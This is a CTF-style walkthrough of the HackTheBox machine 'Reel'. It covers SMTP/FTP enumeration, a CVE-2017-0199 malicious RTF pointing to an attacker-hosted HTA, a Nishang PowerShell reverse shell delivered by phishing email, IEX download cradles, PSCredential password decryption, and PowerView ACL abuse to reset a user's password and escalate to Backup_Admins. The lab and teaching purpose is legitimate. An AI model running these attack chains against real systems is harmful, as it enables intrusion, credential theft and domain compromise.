[HTB] SHELL AFFECT - Reel - WriteUp


Hey guys,
how are you doing?

This is a writeup for the HackTheBox VM called “Reel”.
At this topic, I will focus mainly on
how to find the information you need &
how to work with the information you already have
to root this box.
At the end of this topic, there will be a challenge for you which will require a little bit more than I explained in this writeup.

Table of contents

1. Enumeration
2. FTP
3. Exploitation Research
4. RTF file creation
5. HTA file creation
6. Exploitation
7. Local Enumeration
8. Extract Password from an XML file
9. SSH Login
10. Enumeration with BloodHound
11. SMB File Transfer
12. BloodHound AD-Relationships
13. Privilege Escalation using PowerView
14. Challenge

1. Enumeration

Enumeration is the key. That’s always the first step we do. Get an overview of the target is the essential part.
I like to scan with nmap only for open ports first because of service scans and script scans used by nmap could create much traffic. By creating to much traffic, it could happen that some ports will be shown as closed because of these scans will be blocked.

The method I use to scan for open ports looks like this:

nmap -Pn -n -p- --open -oN allports.nmap --stats-every 10s --max-retries 2 -T5

# -Pn - Treat all hosts as online
# -n - Never do DNS resolution
# --max-retries - Caps number of port scan probe retransmissions.
# --stats-every - Periodically prints a timing status message after each interval of <time> .

The result of this scan looks following:

21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open Microsoft-ds
593/tcp open http-rpc-epmap
49159/tcp open unknown

Another point why I like to use this method is because I can filter all these ports and declare them as a variable in bash.
Something like this:

PORTS=$(cat allports.nmap | grep tcp | cut -d"/" -f1 | tr “\n” “,” | sed ‘s/.$//g’)

The output of this variable looks than:

echo $PORTS

Now we can use the variable for further service & script scans:

nmap -p$PORTS -sV -sC -oN services.nmap --stats-every 10s --max-retries 2

Results of the service and script scans:

21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18  12:19AM       <DIR>          documents
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh          OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
|   256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_  256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp    open  smtp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe: 
|     220 Mail Service ready
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|   Hello: 
|     220 Mail Service ready
|     EHLO Invalid domain address.
|   Help: 
|     220 Mail Service ready
|   SIPOptions: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|_    sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP, 
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49159/tcp open  msrpc        Microsoft Windows RPC
Host script results:
|_clock-skew: mean: -31m56s, deviation: 34m37s, median: -11m57s
| smb-os-discovery: 
|   OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2012::-
|   Computer name: REEL
|   NetBIOS computer name: REEL\x00
|   Domain name: HTB.LOCAL
|   Forest name: HTB.LOCAL
|_  System time: 2019-04-08T06:59:23+01:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2019-04-08 07:59:25
|_  start_date: 2019-04-08 06:36:42

Alright, what do we have so far?
OS: Windows Server 2012 R2 Standard 9600 6.3
System time is actual.

  • FTP (Anonymous Login)
  • OpenSSH (?)
  • SMTP
  • MSRPC over HTTP (TCP 593)

First thing what looks different is the OpenSSH service because Windows doesn’t have SSH as default service.

So here we can take a deeper look at it and see which banner we will get from this service.

nc -nv 22


Ok. Not much interesting here. Let’s take a look inside SMTP.
There exist a few interesting tools we could use, but my favourites are smtp-user-enum.py and ismtp.

But first, we should take a look which commands are allowed on this SMTP server:

telnet 25


Now we know that the VRFY command is disallowed and it looks like we won’t be able to enumerate some users successfully. The reason for this is the reply for the RCPT TO command I typed before.
If a username that doesn’t exist will be entered (idontexist) and the server replies with a 250 instead of 550 response code it seems to be well configured to prevent user enumeration.

A good reference for SMTP commands you can find here.
Thanks Mika Larramo for this!

So even if we use our tools we won’t give any useful result:


ismtp -h -e /usr/share/seclists/Usernames/top-usernames-shortlist.txt -l 3


smtp-user-enum -u administrator -t -M VRFY

2. FTP

Next step.
As you noticed - Anonymous login is enabled for the FTP service. Let us use it to enumerate the machine a little bit more.

Credentials used:



Here we discovered some interesting files. There exist a few methods you can download them.
Because we already logged in I will use:

ftp> mget *.*

Otherwise, you can download all these files with wget:

wget -m --no-passive-ftp ftp://anonymous:[email protected]


Alright, let’s analyse the files.

For this file, I used LibreOffice Writer to take a look at how it does look.

Interesting. It gives us a little bit of information about the procedure. Let us look a little bit deeper:

exiftool AppLocker.docx
strings AppLocker.docx

Ok. Nothing interesting here.


cat readme.txt


please email me any rtf format procedures - I’ll review and convert. new format / converted documents will be saved here.

That looks interesting. What do we see here?

  • "email me"
  • rtf format
  • "I will review and convert"
  • converted documents will be saved here

Ok. What do we need?
Do we have an email address? No.
RTF format file?

From here you’re starting to think about how should I found out a valid email address if SMTP doesn't return in/valid usernames?

You have to still organised. Follow your methodology even if you don’t have one yet. Your goal is to get an overview of your target. Before you start to go deeper enumeration finish your process you started.
What did we do?
Did we extract all information from all files? - I don’t think so.

’Windows Event Forwarding.docx’
Also here I tried to open this document to take a look at it but…


Now it could be dangerous to start the repair process because LibreOffice might overwrite some data inside it which could be relevant for us. Additionally, it could fail too.


exiftool Windows\ Event\ Forwarding.docx

It becomes interesting.
In this document was stored the email address of the creator.

[email protected]

I marked all information which should be noted for later enumeration. You should write it down because you won’t know which data will be required to root this box later.

3. Exploitation Research

Back to our questions:
Do we have an email address? Yes.
RTF format file?
If there is a file extension, you don’t know then google for it.

Google: rtf file

This search will lead you to https://fileinfo.com/extension/rtf.

An RTF file is a common text file format that supports “rich text.” It includes several types of text formatting, such as bold type, italics, different fonts and font sizes, and custom tab settings. RTF files also support objects and images, such as .JPG and .PNG files, saved within the text file.

Beneficial information for us. Now let’s search for exploits.

Google: rtf exploit

The first result will show you an exploit toolkit from bhdresh

with a full description of the exploit and usage. We will use his script to generate our malicious RTF file.

Here you should read a little bit more about this vulnerability.
This is important. Not for me. It’s crucial for you.
You should understand the attack structure and how it will look like.

I will come back to the attack structure later.

4. RTF file creation

Let us create our RTF file.

python cve-2017-0199_toolkit.py -M gen -w sha.rtf -t RTF -u http://<attacker>/sha.hta

Here you can notice that we need another file with a .hta extension?
And again, what is HTA?

Definition from https://fileinfo.com/extension/hta :

Program that can be run from an HTML document; an executable file that contains hypertext code and may also contain VBScript or JScript code; can be created by simply changing the file extension of an .HTM file to an “.HTA” extension; run by the Microsoft HTML Application Host (Mshta.exe).

And again. Crucial information we can use.

5. HTA file creation

There exist multiple methods to create a malicious HTA file.
We could use unicorn.py or Metasploit, but I will use a PowerShell script from Nishang.

Therefore you will need to install PowerShell on Kali, or you execute it on your Windows machine. I will use pwsh on Kali here.

cd /usr/share/nishang/Client/OUT-HTA.ps1


And this point there exists a little bug. But I think you will be able to solve it on your own. :wink:

Do you understand what we’re doing right now? Why did we create an RTF file and HTA file? And why we will create a PS1 file in the next step?
At this point, when you feel like you lost the overview, then you should take a step back and return to the point where you understood the full structure of your target.

Now we will create our PS1 reverse shell.
How will the attack look like?

First, we should exactly know what we have:

  1. RTF file with a redirection to our HTA file.
    Send Email w/ RTF -> HTA
  2. HTA file with a redirection to our PS1 file (Reverse Shell)
    Send Email w/ RTF -> HTA -> PS1

PS1 Reverse Shell
Also here I will use a script from Nishang.
It’s stored by default in /usr/share/nishang/Shells/ directory.

cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /var/www/html/sha.ps1

Now we have to edit out reverse shell to make it executable.

Copy the marked PS line at the end of the script and edit it. It should look something like this:

6. Exploitation

Now let us send the email and hope that he will open it.
But before we send the email, we should turn on our Web server and our listener.

Make sure you run the web server and the sendemail SMTP client from the directory where the files we created are stored.

Web server
For the web server, you can use Python2 or Python3, ,but I will use Apache.

For Python2:

python -m SimpleHTTPServer <Port>

For Python3:

python3 -m http.server <Port>

service apache2 start

Reverse Shell Listener:

nc -nlvp 2202

Now the exploit:

sendemail -f [email protected] -t [email protected] -u Update -m “Please update RTF file.” -a sha.rtf -s

It could take a moment before you get a reverse shell back.
Additionally, you can run tcpdump or WireShark to capture the traffic and make sure that everything looks like we want.

Then it should look like the following:

7. Local Enumeration

Great! We’ve got a reverse shell. Let us do some basic enumeration stuff.

net users
net groups


Systeminfo gives us a lot of information like:
OS: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Configuration: Primary Domain Controller
System Type: x64-based PC
Hotfix(s): 95 Hotfix(s) Installed.

  • [1]: KB2894852
  • [95]: KB4054519

This hotfix(s) means that the server last update is from 12. Dec 2017. So it’s possible to find some local privilege exploits. We add this step to our To-Do-List.

It’s always interesting what the user we’ve access to has in his home directory.


Ok. No different directories here. Let’s look at his desktop.


And here we found our user.txt.

type user.txt


But the creds.xml looks very interesting.

What do we have here?

  1. XML file
  2. Objs Version
  3. PSCredential
  4. Username: Tom
  5. Password: <hash>

8. Extract Password from an XML file

The main question here is:

how can we extract the password from this file?

Ask Google:

Google: extract password from pscredential xml

On the first page you will find this post:

PS C:\Users\nico\Desktop> $credential = import-clixml -path cred.xml

Now we are using this XML file but how to extract the encrypted password?

Google: decrypt password from pscredential

Ok. Let us give a try, but I will change the command for a better output:

PS C:\Users\nico\Desktop> $credential.GetNetworkCredential() | fl


Great! We’ve got the decrypted password for the user Tom.

9. SSH Login

Now lets got to SSH, and we will use the credentials to log in.


I want to take a look at the home directory of the user Tom.


What is inside the note.txt?

type note.txt

It seems they didn’t run the Cypher query against other groups. So maybe there exist a way to escalate our privileges by using another path.
If you don’t know what BloodHound is or you never worked with it, I highly recommend you to search for tutorials and to try it out.

10. Enumeration with BloodHound

So we want to use BloodHound. I will copy SharpHound.ps1 to my Web servers directory. Then we will be able to download it to the ‘Reel’ machine by using Tom and store the script into memory.

cp /opt/BloodHound/Ingestors/SharpHound.ps1 /var/www/html/

Before we run it, we should take a look at it.
This script has a function called Invoke-BloodHound with a -CollectionMethod parameter.

Let’s start PowerShell and download the script:

[email protected] C:\Users\tom\Desktop\AD Audit>powershell

PS C:\Users\tom\Desktop\AD Audit> IEX(New-Object Net.WebClient).downloadString(‘’)

PS C:\Users\tom\Desktop\AD Audit> Invoke-BloodHound -CollectionMethod All

Now we want to download this ZIP file and import it to BloodHound.

11. SMB File Transfer

I will use smbserver for the file transfer.

impacket-smbserver SHELLAFFECT ./

net view \

cp .\20190411050731_BloodHound.zip \\\SHELLAFFECT\

12. BloodHound AD-Relationships

Because BloodHound is a JavaScript Application and is working Neo4j database with we have to start the neo4j database first.

neo4j start

It’s possible that a warning with failure will appear where the neo4j will say that:

WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
/usr/share/neo4j/bin/neo4j line 451 /var/run/neo4j/neo4j.pid no such file or directory

Just ignore that. It still working.

Here we can import the ZIP file just by drag & drop.

By selecting Queries -> Shortest Path to High Value Targets you’ll see a graph like this:

Did you remember/note what we discovered before as user nico ?
Then make a step back and retake a look.
What could be relevant to us?

I will show you what I mean:


That’s the reason why you should always take notes. Taking notes is also an essential skill. It will make many things easier to find and will help you to create a great report at the end of a pentest. It’s a skill that should always be practised.
Also, it helps you keep an overview of your target.

When you click on the Pathfinding icon, we can search for paths.

Now again, what do you see here?
Which information can we use? Make notes. Write down all your ideas. Experiment. Try it out.

13. Privilege Escalation using PowerView

What do we see here?

  1. User: Tom
  2. User: Claire
  3. Group: Backup_Admins

Is it everything?
But there is a little bit more.

  1. WriteOwner
  2. GenericWrite
  3. WriteDacl

But what is it? If you never heard about it, search for it.

Google: writeowner active directory

The first result will give the information you need.


Here is the summary:

WriteOwner : Provides the ability to take ownership of an object. The owner of an object can gain full control rights on the object.

GenericWrite : Provides write access to all properties.

WriteDacl : Provides the ability to modify security on an object which can lead to Full Control of the object.

I highly recommend reading these articles. They’re well written and very educational. When you read it, you should notice that they used a PowerShell script called PowerView.

We will use it too, and we copy it to our Web server directory.

[!] Important Note: Your PowerView.ps1 might be outdated. To download the newest one visit [email protected].

After that, we can download it on the target machine.

PS C:\Users\tom\Desktop> IEX(New-Object Net.WebClient).downloadString(‘’)

Now we will modify the owner for a specified AD object from Claire to Tom:

PS C:\Users\tom\Desktop> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom

After that, we will add an ACL for a specific AD object for the domain principal.

Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose

Now we set the rights to reset the password for the user Claire who provides write access to all properties and the ability to modify security on an object which can lead Full Control of the object.

Let’s change the password. PowerView provides you with a function called Set-DomainUserPassword which we will use.
But first, we have to define our new password for the user Claire:

PS C:\Users\tom> $ClairePassword = ConvertTo-SecureString ‘Ultr4Pass!’ -AsPlainText -Force -Verbose

PS C:\Users\tom> Set-DomainUserPassword -Identity claire -AccountPassword $ClairePassword -Verbose

Also, we should add the user Claire to the domain group ‘Backup_Admins’ by using the Add-DomainGroupMember function:

$Cred = New-Object System.Management.Automation.PSCredential(‘HTB\claire’, $ClairePassword)

Add-DomainGroupMember -Identity ‘Backup_Admins’ -Members ‘claire’ -Credential $Cred

And now we can use our new credentials to log in through SSH with the user Claire:

ssh [email protected]


As always I enumerate the home directory of the user first. Then I try to take a look at the directories of other users. Previously we successfully added Claire to the domain group Backup_Admins. So we should be able to take a look at the home directory of the Administrator. There is an interesting folder called Backup Scripts. This directory has some PowerShell scripts which may reveal some useful information:

We found admin credentials in this script. Now we can try to login by using them and read the root.txt.

By the way, there is another way to get the information you need.
If you right-click at WriteOwner on the path from user Tom to Claire you will open a windows with a Help page.

If you open this Help page, you will see the information you need. These are the steps we did just additionally we improved our research skills.


14. Challenge

Escalate your privileges by using the user Nico instead of Tom and create a new graph with modified ownership.

I highly recommend watching IppSec videos on YouTube!

YouTube video: https://www.youtube.com/watch?v=Xq2EQRfj3Gs

Best regards,